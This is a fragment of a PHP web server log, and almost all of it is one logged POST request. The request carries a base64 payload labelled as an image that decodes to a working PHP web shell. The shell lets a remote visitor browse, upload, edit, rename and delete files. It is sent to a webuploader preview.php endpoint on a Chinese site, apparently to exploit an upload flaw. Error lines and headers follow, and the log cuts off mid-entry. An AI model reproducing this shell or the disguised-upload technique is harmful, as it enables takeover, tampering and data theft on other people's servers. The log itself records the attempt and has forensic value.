'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:30+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/Js/webuploader/0.1.5/server/preview.php [运行时间:0.002682s] [吞吐率:372.86req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Js', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 